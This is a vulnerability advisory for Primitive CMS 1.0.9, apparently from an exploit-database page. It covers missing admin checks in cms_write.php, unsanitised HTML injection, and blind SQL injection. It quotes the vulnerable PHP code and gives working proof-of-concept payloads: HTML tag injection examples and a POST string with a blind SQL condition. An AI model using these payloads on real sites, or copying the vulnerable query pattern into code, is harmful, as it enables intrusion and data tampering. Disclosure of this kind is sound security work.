header-logo
Suggest Exploit
vendor:
Primitive CMS
by:
Stephan Sattler
8,8
CVSS
HIGH
Unauthorized Access, HTML Injection, Blind SQL-Injection
89, 79, 89
CWE
Product Name: Primitive CMS
Affected Version From: 1.0.9
Affected Version To: 1.0.9
Patch Exists: NO
Related CWE: N/A
CPE: a:bouzouste:primitive_cms:1.0.9
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2010

Primitive CMS 1.0.9 Multiple Vulnerabilities

In cms_write.php is no check if the user has administration rights. Because of that, there are 2 more vulnerabilities. The title, Menu-title and Content a user can submit are inserted directly into the database and inserted in the html-code on the page without and sanitizing at all. Postdata for Injection: title=&menutitle=home' AND (SELECT 1)='1&content=&submit=OK. One can inject via title or menutitle, both are vulnerable. On success, you'll see the message: 'H selida yparxei'.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in database queries.
Source

Exploit-DB raw data:

# Exploit Title: Primitive CMS 1.0.9 Multiple Vulnerabilities
# Date: 20.09.2010
# Author: Stephan Sattler // Solidmedia.de
# Software Website: http://www.bouzouste.info/
# Software Link: http://www.bouzouste.info/link/click.php?id=1
# Version: 1.0.9


[Vulnerability 1]

# Unauthorized Access

Url: http://[site]/[cmspath]/cms_write.php

In cms_write.php is no check if the user has administration rights.
Because of that, there are 2 more vulnerabilities.



[Vulnerability 2]

# Html Injection

Url: http://[site]/[cmspath]/cms_write.php

Vulnerable Code (cms_write.php line 13-25): 

$title=$_POST[title];
$content=$_POST[content];
$menutitle=$_POST[menutitle];
$sql="INSERT INTO `prim_page` ( `id` , `title` , `content`, `menutitle` ) VALUES ('', '$title', '$content', '$menutitle')";
mysql_query($sql);


The title, Menu-title  and Content a user can submit are inserted directly into
the database and inserted in the html-code on the page without
and sanitizing at all.

Example for the Title: </title><h1>Testtitle</h1>
Example for the Menu-Title: </a><h2>Menutitle</h2>


[Vulnerability 3]

# Blind SQL-Injection // PoC

Url: http://[site]/[cmspath]/cms_write.php

Vulnerable Code (cms_write.php line 13-16):

$title=$_POST[title];
$menutitle=$_POST[menutitle];
$sqlcheck="SELECT * FROM prim_page WHERE title='$title' or menutitle='$menutitle' ";

Postdata for Injection: title=&menutitle=home' AND (SELECT 1)='1&content=&submit=OK
One can inject via title or menutitle, both are vulnerable. On success, you'll see the message: "H selida yparxei"